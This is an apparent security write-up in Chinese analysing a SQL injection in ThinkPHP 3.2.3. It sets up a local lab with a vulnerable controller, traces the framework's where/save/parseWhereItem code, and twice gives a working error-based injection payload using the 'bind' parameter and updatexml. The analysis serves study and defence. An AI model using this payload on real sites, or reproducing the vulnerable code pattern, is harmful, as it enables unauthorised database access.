環境搭建
ThinkPHP3.2.3完整版:http://www.thinkphp.cn/donate/download/id/610.html
Application文件夾目錄結構如下:
Application
├─Common 應用公共模塊
│ ├─Common 應用公共函數目錄
│ └─Conf 應用公共配置文件目錄
├─Home 默認生成的Home模塊
│ ├─Conf 模塊配置文件目錄
│ ├─Common 模塊函數公共目錄
│ ├─Controller 模塊控制器目錄
│ ├─Model 模塊模型目錄
│ └─View 模塊視圖文件目錄
├─Runtime 運行時目錄
│ ├─Cache 模版緩存目錄
│ ├─Data 數據目錄
│ ├─Logs 日志目錄
│ └─Temp 緩存目錄
修改 thinkphp32\Application\Home\Controller\IndexController.class.php 文件代碼,內容如下:
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
配置連接數據庫的文件 Application\Common\Conf\config.php ,內容如下:
<?php
return array(
'DB_TYPE' => 'mysql', // 數據庫類型
'DB_HOST' => 'localhost', // 服務器地址
'DB_NAME' => 'thinkphp', // 數據庫名
'DB_USER' => 'root', // 用戶名
'DB_PWD' => 'root', // 密碼
'DB_PORT' => 3306, // 端口
'DB_PREFIX' => '', // 數據庫表前綴
'DB_CHARSET'=> 'utf8', // 字符集
'DB_DEBUG' => TRUE, // 數據庫調試模式 開啟后可以記錄SQL日志 3.2.3新增
);
漏洞分析
可以通過payload進行正向審計,payload為:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)
Thinkphp中一般使用I函數
進行過濾,I函數官方說明:I函數輸入過濾,在I函數
中默認使用htmlspecialchars
方法過濾,最后通過think_filter
函數進行安全過濾。
可以看到並沒有對bind進行過濾,於是我們嘗試傳入payload:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=qq
可以看到傳入id[0]=bind&id[1]=qq
時,sql語句中id值為:qq。接下來我們對其形成原因進行分析:
首先跟入where函數:
在where函數中對$this->options['where']進行初始化,將id->{0->"bind",1->"qq"}賦值給$this->options['where'],接下來調用save函數:
/**
* 保存數據
* @access public
* @param mixed $data 數據
* @param array $options 表達式
* @return boolean
*/
public function save($data='',$options=array()) {
if(empty($data)) {
// 沒有傳遞數據,獲取當前數據對象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置數據
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 數據處理
$data = $this->_facade($data);
if(empty($data)){
// 沒有數據則不執行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表達式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主鍵數據 則自動作為更新條件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加復合主鍵支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少復合主鍵數據則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果沒有任何更新條件則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
在Think\Db\Driver->update()中:
繼續跟入Think\Db\Driver->parseSet():
在parseSet中進入標量數據檢查,繼續跟入bindParam:
可以看到在bindParam中對this.bind進行賦值this.bind[:0]="",進行參數化。然后回到update函數中的:
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
繼續跟入$this->parseWhere,進入重點$this->parseWhereItem:
// where子單元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表達式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表達式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//對字符串類型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
可以看到在進入到elseif('bind' == $exp )中時,對$whereStr進行拼接:
$whereStr .= $key.' = :'.$val[1];
所以導致拼接后為:aa
最后在update中最后一行:
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
跟入$this->execute,可以找到:
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
使用strtr對參數進行替換后並執行sql語句。本意是將password后的 :0 替換為 "",但是我們可以構造id[1]=0,bind處理拼接后為 :0 ,導致在最后進行strtr時,將where后的id條件也替換為""
於是我們可以發現在並未過濾bind以及updatexml的情況下,可以進行報錯注入:
payload:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)